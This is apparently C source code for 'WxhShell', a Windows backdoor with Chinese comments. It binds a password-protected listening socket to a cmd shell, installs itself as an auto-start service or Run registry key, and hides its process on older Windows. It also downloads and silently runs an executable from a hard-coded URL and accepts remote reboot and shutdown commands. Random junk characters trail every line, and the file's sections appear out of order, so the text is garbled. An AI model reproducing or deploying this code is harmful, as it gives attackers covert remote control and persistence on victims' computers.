    if(Boot(SHUTDOWN)) fIF<g@s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }IEb yb  
    else { fFjH "2WD  
    closesocket(wsh); >+5?F*`\D*  
    ExitThread(0); DP/J (>eG  
    } [Pe#kzLX  
    break; )EyI0R]5  
    } /WPv\L  
  // 获取shell 4(l?uU$  
  case 's': { Nx#4W1B[`H  
    CmdShell(wsh); .k4W_9  
    closesocket(wsh); |+ge8uu?C  
    ExitThread(0); _ .i3,-l)  
    break; 6a}"6d/sTL  
  } ~"Gf<3^y+  
  // 退出 (J"T]-[  
  case 'x': { \n0Oez0z!B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G1 o70  
    CloseIt(wsh); *]JdHO  
    break;  QH]M   
    } &4dz}zz90  
  // 离开 t0:AScZY   
  case 'q': { aj,)P3DJu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {5*|C-WWtG  
    closesocket(wsh); TgU**JN)  
    WSACleanup(); 0i[zup  
    exit(1); t]1ubt2W  
    break; Kt>X3m,  
        } ^5=UK7e5KY  
  } ^0W(hA  
  } *s}|Hy  
BcA31%  
  // 提示信息 Rd+P,PO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x r(|*  
} O$`UCq  
  } }2)DPP:ic  
$3=:E36K  
  return; iNCX:Y  
} gJ2 H=#M  
i54md$Q^  
// shell模块句柄 PU9`<3z5  
int CmdShell(SOCKET sock) 4"\ yf  
{ YEjY8]t  
STARTUPINFO si; /.5;in  
ZeroMemory(&si,sizeof(si)); 0@1:M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A CNfS9M_w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5TBI<K  
PROCESS_INFORMATION ProcessInfo; e`{0d{Nd  
char cmdline[]="cmd"; 0BkV/v1Uc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N$?cX(|7  
  return 0; ]Gc3Ea;4  
} 2^exL h  
MrE<vw@he  
// 自身启动模式 jj\[7 O*  
int StartFromService(void) A,~Hlw  
{ rqCa 2  
typedef struct ^c9ThV.v  
{ gvli%9n  
  DWORD ExitStatus; w5]"ga>Y  
  DWORD PebBaseAddress; ;kaHN;4?  
  DWORD AffinityMask; 7x.%hRk  
  DWORD BasePriority; Q882B1H  
  ULONG UniqueProcessId; +I|8Q|^SD  
  ULONG InheritedFromUniqueProcessId; urY`^lX~  
}   PROCESS_BASIC_INFORMATION; & %}/AoU  
+?-qfp,:0  
PROCNTQSIP NtQueryInformationProcess; mp `PE=  
coQ[@vu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~] =?b)B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1JTbCS  
vW.%[]  
  HANDLE             hProcess; sz09+4h#  
  PROCESS_BASIC_INFORMATION pbi; EHf)^]Z  
4sY[az  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >.dHt\  
  if(NULL == hInst ) return 0; f[/.I,9U^  
3\!F\tqD \  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $fArk36O#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KvFR8s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |paP<$  
5 Rz/Ri\c=  
  if (!NtQueryInformationProcess) return 0; =mrY/ :V  
9$tl00  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6zYaA  
  if(!hProcess) return 0; ;bHfn-X  
SfI*bJo>V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?M&4pO&Y  
Md9l+[@  
  CloseHandle(hProcess); nTZ> |R)  
(DJvi6\H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RebTg1vGu  
if(hProcess==NULL) return 0; eOrYa3hQ  
2,AaP*,  
HMODULE hMod; N_vXYaY  
char procName[255]; |QYZRz  
unsigned long cbNeeded; ^pcRW44K  
 R<&FhT]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )1_(>|@oi  
u(9X  
  CloseHandle(hProcess); '0Zm#g  
:o\5K2]:  
if(strstr(procName,"services")) return 1; // 以服务启动 4;\Y?M}g?  
i| xt f  
  return 0; // 注册表启动 P3$,ca'  
} $r"A@69^RS  
2Guvze_bU  
// 主模块 uYTCdZQh  
int StartWxhshell(LPSTR lpCmdLine) _<u;4RO(s  
{ :`zV [A:D  
  SOCKET wsl; $xcv>  
BOOL val=TRUE; ('BLU.7IX  
  int port=0; t&f" jPu>  
  struct sockaddr_in door; cj^bh  
{5 Kz'FT  
  if(wscfg.ws_autoins) Install(); )OUU]MUH  
P!>g7X  
port=atoi(lpCmdLine); b]K>vhQV  
P CsK()  
if(port<=0) port=wscfg.ws_port; V2QW\2@$  
U9F6d!:L7A  
  WSADATA data; [0(mFMC`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RO$*G jQd  
j]4,6` b\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^?sSx!:bZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &NP6%}bR`  
  door.sin_family = AF_INET; +U=KXv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h&$Py  
  door.sin_port = htons(port); s[Gswd  
.pKN4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P,`=]Y*  
closesocket(wsl); +Z$a1 Y@  
return 1; (-'PD_|  
} "MTq{f2?  
85 Dm8~  
  if(listen(wsl,2) == INVALID_SOCKET) { Hi7G/2t@`  
closesocket(wsl); %\l0-RA@<  
return 1; rxArTpS{.#  
} T"B8;|  
  Wxhshell(wsl); Uk|9@Auav  
  WSACleanup(); \aB&{`iG  
b8e*Pv/  
return 0; (Otur  
XJ _%!  
} $4: ~* IQ  
G-s a L*  
// 以NT服务方式启动 ',%5mF3j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]ci RiMkT(  
{ G*=H;Upi  
DWORD   status = 0; z(r" JNO@  
  DWORD   specificError = 0xfffffff; #-A5Z;TD.  
8vu2k>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qm~Kw!kV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eNivlJ,K|@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hPS/CgLq  
  serviceStatus.dwWin32ExitCode     = 0; P0Aas)!  
  serviceStatus.dwServiceSpecificExitCode = 0; r"6lLc  
  serviceStatus.dwCheckPoint       = 0; ={OCa1  
  serviceStatus.dwWaitHint       = 0; mxZ4 HD{  
&9k"9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `c>A >c|  
  if (hServiceStatusHandle==0) return; OY$7`8M[  
hg!x_Eq|  
status = GetLastError(); x vHOY:  
  if (status!=NO_ERROR) f)qPFM]%z  
{ QK,=5~IJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P%ye$SASd  
    serviceStatus.dwCheckPoint       = 0; Cnk#Ioz  
    serviceStatus.dwWaitHint       = 0; eO~eu]r  
    serviceStatus.dwWin32ExitCode     = status; ;k-g _{M  
    serviceStatus.dwServiceSpecificExitCode = specificError; xMLrLXy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s-fKh`  
    return; 7Z9.z 4\  
  } 5X#i65_-  
T %$2k>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iz,]%<_PE  
  serviceStatus.dwCheckPoint       = 0; 3{6ps : w  
  serviceStatus.dwWaitHint       = 0; |)~Ex 9%ev  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Au~+Zz|mQ  
} ;B,nzx(L  
LNWqgIq  
// 处理NT服务事件,比如:启动、停止 8Ix -i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NU BpIx&  
{ PEK.Kt\M  
switch(fdwControl) tvG g@Xs\  
{ [%HYh7ua<  
case SERVICE_CONTROL_STOP: >|y>e{P  
  serviceStatus.dwWin32ExitCode = 0; 2(@LRl>:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Cij$GYkv  
  serviceStatus.dwCheckPoint   = 0; &Xj{:s#  
  serviceStatus.dwWaitHint     = 0; }x{rTEq  
  { W*1d X"S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Q}!NkF 1  
  } :Bdipc  
  return; Krt$=:m|1  
case SERVICE_CONTROL_PAUSE: `NYF?%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FF5tPHB  
  break; ^p{A!I!  
case SERVICE_CONTROL_CONTINUE: kxt\{iy4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "H wVK  
  break; BYhmJC|  
case SERVICE_CONTROL_INTERROGATE: gPF}aaB6  
  break; =*@MQ  
}; V'Sd[*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P2A]qX  
} R!:eYoQ  
}[XB]Xf  
// 标准应用程序主函数 G~b`O20N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) : HQ8M*o  
{ ?uNTUU,  
B]+7 JB  
// 获取操作系统版本 ~ z-?rW  
OsIsNt=GetOsVer(); ]{q- Y<{"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IG2`9rR  
%OezaNOtm  
  // 从命令行安装 2ID*U d*  
  if(strpbrk(lpCmdLine,"iI")) Install(); wR 5\^[GN  
yoq\9* ?u^  
  // 下载执行文件 Cy`<^_i  
if(wscfg.ws_downexe) { o>/uW8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %8rr*l5  
  WinExec(wscfg.ws_filenam,SW_HIDE); E< io^  
} kx;xO>dC  
yhw:xg_;Kz  
if(!OsIsNt) { wI1M0@}PV  
// 如果时win9x,隐藏进程并且设置为注册表启动 6Y92&  
HideProc(); b n<I#ZH2  
StartWxhshell(lpCmdLine); JO<gN= [  
} i"2J5LLv  
else V{ a}#J  
  if(StartFromService()) ( FjsN5  
  // 以服务方式启动 [FeJ8P>z  
  StartServiceCtrlDispatcher(DispatchTable); 8S[ <[CH  
else p3,(*eZ  
  // 普通方式启动 )n[`Z#  
  StartWxhshell(lpCmdLine); l"~h1xk~  
/:*R -VdF  
return 0; wHo#%Y,Nmi  
} ?h>%Ix  
M; S-ESQ  
OW[/%U>  
U:etcnb4w>  
=========================================== )M|O;~q  
y<'2BTf  
`0n 7Cyed  
{$u@6& B  
E:dT_x<Y  
.H[Lo>  
" $fj"*   
VQG  /g\  
#include <stdio.h> ^~YmLI4  
#include <string.h> |+$j( YuH  
#include <windows.h> iC5JU&l  
#include <winsock2.h> +"N<-  
#include <winsvc.h> EkgN6S`}  
#include <urlmon.h> u}@% 70A  
)n3bi QL_  
#pragma comment (lib, "Ws2_32.lib") CpP$HrQ  
#pragma comment (lib, "urlmon.lib") 9cw4tqTm  
?G%, k LJJ  
#define MAX_USER   100 // 最大客户端连接数 [<3Q$*Ew  
#define BUF_SOCK   200 // sock buffer u=ds]XP@  
#define KEY_BUFF   255 // 输入 buffer 0F;(_2V-  
61eKGcjs:  
#define REBOOT     0   // 重启 7Hr4yh[j&  
#define SHUTDOWN   1   // 关机 ke;*uS  
vI:bl~  
#define DEF_PORT   5000 // 监听端口 V"Y Fu^L  
][>M<J  
#define REG_LEN     16   // 注册表键长度 E6wST@ r  
#define SVC_LEN     80   // NT服务名长度 o`y*yucHI  
~M9 n<kmE  
// 从dll定义API \ /X!tlwxh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); exrt|A] _[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mGyIr kE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y$`hudJ&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o._#=7|(  
iHG:W wM&  
// wxhshell配置信息 uK&wS#uY  
struct WSCFG { qwq+?fj={  
  int ws_port;         // 监听端口 (=&bo p  
  char ws_passstr[REG_LEN]; // 口令 n-| i  
  int ws_autoins;       // 安装标记, 1=yes 0=no nY5n%>8  
  char ws_regname[REG_LEN]; // 注册表键名 K&a]pL6D  
  char ws_svcname[REG_LEN]; // 服务名 'y@ 2,9v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Uub%s`O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [XU{)l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lt(-,md  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [@l v]+@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uL2 {v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R;-FZ@u/  
G>{:D'#  
}; $v}8lBCr3  
,tv9+n@x  
// default Wxhshell configuration D(ntVR  
struct WSCFG wscfg={DEF_PORT, 8!fAv$g0  
    "xuhuanlingzhe", 6_}){ZR  
    1, AYQh=$)(  
    "Wxhshell", >p#d;wK4_  
    "Wxhshell", yLa5tv/  
            "WxhShell Service", NVh>Q>B$_  
    "Wrsky Windows CmdShell Service", &T/9y W[L  
    "Please Input Your Password: ", {4jSj0W  
  1, @f01xh=8  
  "http://www.wrsky.com/wxhshell.exe", MVU'GHv  
  "Wxhshell.exe" $8ww]}K  
    }; 2dJ)4  
)*<d1$aM  
// 消息定义模块 DBrzw+;e3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7/$Z7J!k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hE`%1j2(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d.(]V2X.J  
char *msg_ws_ext="\n\rExit."; >U Ich  
char *msg_ws_end="\n\rQuit."; &#\7w85$  
char *msg_ws_boot="\n\rReboot..."; QR"O)lP  
char *msg_ws_poff="\n\rShutdown..."; Q_h+r! b  
char *msg_ws_down="\n\rSave to "; 2i'-lM=  
 ~9jP++&  
char *msg_ws_err="\n\rErr!"; K dQ|$t  
char *msg_ws_ok="\n\rOK!"; Dq1XZ%8  
?|rw=%  
char ExeFile[MAX_PATH]; [67f;?b  
int nUser = 0; Y%cA2V\#m  
HANDLE handles[MAX_USER]; ;? QAPTz  
int OsIsNt; 8i$`oMv[y  
+A3\Hj&W  
SERVICE_STATUS       serviceStatus; iP\&fZY_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 00x^zu?N  
^9~%=k=  
// 函数声明 gK_[3FiKt  
int Install(void); k yA(m;r  
int Uninstall(void); ;xC~{O  
int DownloadFile(char *sURL, SOCKET wsh); eeR@p$4i  
int Boot(int flag); t-m,~IoW  
void HideProc(void); .Eyk?"^  
int GetOsVer(void); @MH]s [{o\  
int Wxhshell(SOCKET wsl); l]=$<  
void TalkWithClient(void *cs); `D4'`Or-U  
int CmdShell(SOCKET sock); (w  
int StartFromService(void); ,'DrFlI  
int StartWxhshell(LPSTR lpCmdLine); `%:(IGxz  
gx R|S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _( /lBf{|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~4gKA D  
3sIM7WD?  
// 数据结构和表定义 $6%;mep  
SERVICE_TABLE_ENTRY DispatchTable[] = m|gd9m $,?  
{ 4^9_E &Fa  
{wscfg.ws_svcname, NTServiceMain}, ;XuE Mq,Di  
{NULL, NULL} N>\?Aeh  
}; Pu*UZcXY  
-zkL)<7  
// 自我安装 *%+buHe  
int Install(void) ee[NZz  
{ y{P9k8v!z  
  char svExeFile[MAX_PATH]; `;GGuJb \  
  HKEY key; ,QAp5I%3=  
  strcpy(svExeFile,ExeFile); U MIZ:*j  
+>({pHZ<S  
// 如果是win9x系统,修改注册表设为自启动 |^!@  
if(!OsIsNt) { 84cH|j`w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (ZsR=:9(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZJM^P'r.1c  
  RegCloseKey(key); > PA,72e   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kfECC&"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~]+  jn  
  RegCloseKey(key); (fb\A6  
  return 0; wajhFBJ  
    } b;ZAz  
  } S*:w\nXP~  
} zjE4v-H:l  
else { TnAX;+u  
W}3vY]  
// 如果是NT以上系统,安装为系统服务 EOC"a}Cq-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yBKlp08J  
if (schSCManager!=0) ?!-im*~w  
{ - mXr6R?  
  SC_HANDLE schService = CreateService OUMr}~/  
  ( 11+_OC2-   
  schSCManager, x*V<afLY[  
  wscfg.ws_svcname, IBsn>*ja<  
  wscfg.ws_svcdisp, W{aNS@1  
  SERVICE_ALL_ACCESS, 3Re\ T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P://Zi6>  
  SERVICE_AUTO_START, Ry3 f'gx  
  SERVICE_ERROR_NORMAL, ;O>fy :$'  
  svExeFile, 4VgDN(n0@  
  NULL, ij5YV3  
  NULL, xc?<:h"  
  NULL, h (2k;M^s  
  NULL, 1A`";E&  
  NULL d5hE!=  
  ); m"]ys #  
  if (schService!=0) DcHMiiVM  
  { 4pv :u:Z  
  CloseServiceHandle(schService); H)tDfk sq\  
  CloseServiceHandle(schSCManager); ?Pc 3*.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); # w6CL  
  strcat(svExeFile,wscfg.ws_svcname); { VO4""m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  qI@_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;wrgpP3  
  RegCloseKey(key); 2O/_hv.  
  return 0; w4a7c  
    } ak [)+_k_  
  } -^DB?j+  
  CloseServiceHandle(schSCManager); oJ:J'$W(  
} c2/HY8ttRD  
} /G;yxdb  
T:$_1I $  
return 1; wP*Z/}Uum+  
} KHtY +93  
pkx>6(Y  
// 自我卸载 Y{=@^4|]  
int Uninstall(void) M-Bw9`#Jw  
{ 6Y^o8R  
  HKEY key; ~l~g0J  
-s"lW 7N^  
if(!OsIsNt) { `>Cx!sYhV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q0wVV  
  RegDeleteValue(key,wscfg.ws_regname); FQ%mNowuj  
  RegCloseKey(key); L_,U*Jyo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  ~A/_\-  
  RegDeleteValue(key,wscfg.ws_regname); pyKag;ZtP  
  RegCloseKey(key); xTT>3Fj  
  return 0; s?Kn,6Y  
  } ^>fs  
} s9iM hCu|  
} iq$/ 6!t  
else { z{\.3G  
>q`X%&l_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Npqbxb  
if (schSCManager!=0) F*f)Dv$p  
{ |k+^D:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jPfoI-  
  if (schService!=0) *C\O] r:'  
  { OjZ@_V:  
  if(DeleteService(schService)!=0) { :z\STXq  
  CloseServiceHandle(schService); 1*fA>v  
  CloseServiceHandle(schSCManager); mX89^  
  return 0; /!hW6u5  
  } }wV rmDh \  
  CloseServiceHandle(schService); ry'(m M  
  } {\B!Rjt[T  
  CloseServiceHandle(schSCManager); w8qI7/  
} art{PV4-  
} c,@6MeKHq  
gA6C(##0  
return 1; Qxwe,:  
} H|Ems}b  
+-hmITJ v  
// 从指定url下载文件 k;sUDmrO  
int DownloadFile(char *sURL, SOCKET wsh) k{~5pxd-t  
{ )7^jq|  
  HRESULT hr; LdOB[W  
char seps[]= "/"; iQKfx#kt  
char *token; Z(L>~+%  
char *file; uyj5}F+O  
char myURL[MAX_PATH]; SZ_hGD0  
char myFILE[MAX_PATH]; QUt!fF@t  
y{&,YV&_h  
strcpy(myURL,sURL); >97N $  
  token=strtok(myURL,seps); .qZ<ROZ  
  while(token!=NULL) <W pz\U  
  { L-XTIL$$  
    file=token; WCH>9Z>cj  
  token=strtok(NULL,seps); (< h,R@:  
  } zSu2B6YU}  
jAu/] HZx  
GetCurrentDirectory(MAX_PATH,myFILE); D<MtLwH  
strcat(myFILE, "\\"); (~jOtUyT  
strcat(myFILE, file); &\LbajP:+  
  send(wsh,myFILE,strlen(myFILE),0); wNlp4Z'[  
send(wsh,"...",3,0); b#sO1MXv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jps!,Mflc  
  if(hr==S_OK) B-RaAiE@  
return 0; iY="M_kQ_  
else R$q:Ct  
return 1; %lBFj/B  
?1YK-T@  
} m`/OO;/;  
D3]_AS&\  
// 系统电源模块 ^dro*a,  
int Boot(int flag) %EuSP0  
{ =#W6+=YN8  
  HANDLE hToken; FGC[yz1g:  
  TOKEN_PRIVILEGES tkp; ){v nmJJ%  
n'SnqJ&}  
  if(OsIsNt) { x`4">:IA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;yr 'K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qg_=5s  
    tkp.PrivilegeCount = 1; %NvY~,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kp[Jl0K5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); % 74}H8q_z  
if(flag==REBOOT) { dP82bk/e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #soWX_>  
  return 0; d2pVO]l YZ  
} @sP?@< C  
else { \QVL%,.%M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \Q]7Hw<  
  return 0; Lx.X#n.]T  
} G3q\Z`|3h  
  } 0L'h5i>H)  
  else { _T1|_9b  
if(flag==REBOOT) { 7a2 uNt,X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uKK+V6}!kj  
  return 0; env]*gx+=  
} e7-U0rrE  
else { J=  T!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LKhUqW  
  return 0; Zf ;U=]R  
}  [5H#ay  
} [S4<bh!  
tks1*I$S<  
return 1; `rvS(p[s  
} W 5-=,t  
opd^|xx0  
// win9x进程隐藏模块 f mf(5  
void HideProc(void) }}<^f M  
{ }5EvBEv-)  
L^dF )y?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'vBuQinn  
  if ( hKernel != NULL ) b}WU  
  { NbH;@R)L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I=0`xF|4K-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o!:   
    FreeLibrary(hKernel); nwf(`=TC  
  } `#R[x7bA1  
) }(Po_  
return; 6YNd;,it>p  
} %AaZc=a[c  
=nG g k}Z  
// 获取操作系统版本 RGsgT^  
int GetOsVer(void) bZLY#g7L"  
{ nH_M#  
  OSVERSIONINFO winfo; =A{F&:+a]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7*.nd  
  GetVersionEx(&winfo); P`^nNX]x+,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1N,</<"  
  return 1; dSkMA  
  else p C^d-Ii  
  return 0; Zcjh  
} #ozui-u>  
VX0}x+LJ  
// 客户端句柄模块 yvv]iRk<  
int Wxhshell(SOCKET wsl) shKTj5s?  
{ \,D>zF  
  SOCKET wsh; *PM#ngLX}r  
  struct sockaddr_in client; ?k@^U9?R  
  DWORD myID; WUrE1%u  
a5cary Z"z  
  while(nUser<MAX_USER) k'QI`@l&l  
{ TophV}@B`  
  int nSize=sizeof(client); e>0gE`8A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @ Z.BYC  
  if(wsh==INVALID_SOCKET) return 1; q#=HBSyM  
ia@ |+r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %tB7 &%ut  
if(handles[nUser]==0) =U'!<w<-  
  closesocket(wsh); OY Sq)!:  
else %:t! u&:q  
  nUser++; galzk$D  
  } $7" Y/9Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /g$G G9  
ijP `fM8  
  return 0; dIW@L  
} 9fm9xTL  
1_WP\@ O  
// 关闭 socket bFjH* ~ P  
void CloseIt(SOCKET wsh) .do8\  
{ 9TX2h0U?  
closesocket(wsh); tq}MzKI*  
nUser--; 4O<sE@X  
ExitThread(0); $GP66Ev  
} pT{is.RM  
i-PK59VZ8f  
// 客户端请求句柄 djH&)&q!  
void TalkWithClient(void *cs) {]2^b)  
{ aVCPaYe^  
?r 0rY?  
  SOCKET wsh=(SOCKET)cs; !wN2BCSY@  
  char pwd[SVC_LEN]; `Fie'[F5,)  
  char cmd[KEY_BUFF]; A'BqNsy  
char chr[1]; ,OWk[0/  
int i,j; O}>@G  
>"8;8Ev  
  while (nUser < MAX_USER) { !( >U3N  
%N)B8A9kh  
if(wscfg.ws_passstr) { Z#.1p'3qm1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7HkFDI()1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r4pX4 7H  
  //ZeroMemory(pwd,KEY_BUFF); KCO.8=y3  
      i=0; ~Oa$rqu%m  
  while(i<SVC_LEN) { BBM[Fy37!}  
,A'| Z  
  // 设置超时 WG A1XQ{  
  fd_set FdRead; f`:GjA,J$  
  struct timeval TimeOut; EjL]#,QR  
  FD_ZERO(&FdRead); ^R=`<jx   
  FD_SET(wsh,&FdRead); vhPlH0  
  TimeOut.tv_sec=8; w i[9RD@  
  TimeOut.tv_usec=0; -nXP<v=V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k:I,$"y4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +q'\rpt  
Xf_#O'z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1^LdYO?g'  
  pwd=chr[0]; _tJt eDRY  
  if(chr[0]==0xd || chr[0]==0xa) { s]% C z\  
  pwd=0; ;Ax-f04gG  
  break; VE-l6@`  
  } w%.hALN5-C  
  i++; & ?xR  
    } }%p:Xv@X!  
tBbOxMm0  
  // 如果是非法用户,关闭 socket I<O$);DV'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ss[`*89  
} `mzlOB  
&EqLF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R|n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gYhY1Mym  
U xBd14-R_  
while(1) { < mQXS87  
sSZ)C|Q  
  ZeroMemory(cmd,KEY_BUFF); 6LBdTnzUd  
4d`YZNvZW/  
      // 自动支持客户端 telnet标准   nS04Ha  
  j=0; }3^m>i*8  
  while(j<KEY_BUFF) { I )rO|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :D*U4< /u  
  cmd[j]=chr[0]; z~#;[bER  
  if(chr[0]==0xa || chr[0]==0xd) { g3z/yj  
  cmd[j]=0; E +_n@t"  
  break; S3\NB3@qC&  
  } >E>yA d  
  j++; r }lGcG)  
    } pR$(V4>  
{1)A"lQu  
  // 下载文件 >\d&LLAe  
  if(strstr(cmd,"http://")) { wAKHD*M)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xj3 qOx$  
  if(DownloadFile(cmd,wsh)) g}s$s}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); umIGI  
  else 9B!Sv/)y!r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V4+ |D2   
  } XVqOiv)  
  else { _#u\ar)  
vkIIuNdDlx  
    switch(cmd[0]) { j6GIB_  
  )i~AXBt}  
  // 帮助 I8Aq8XBw  
  case '?': { 4.!1odKp  
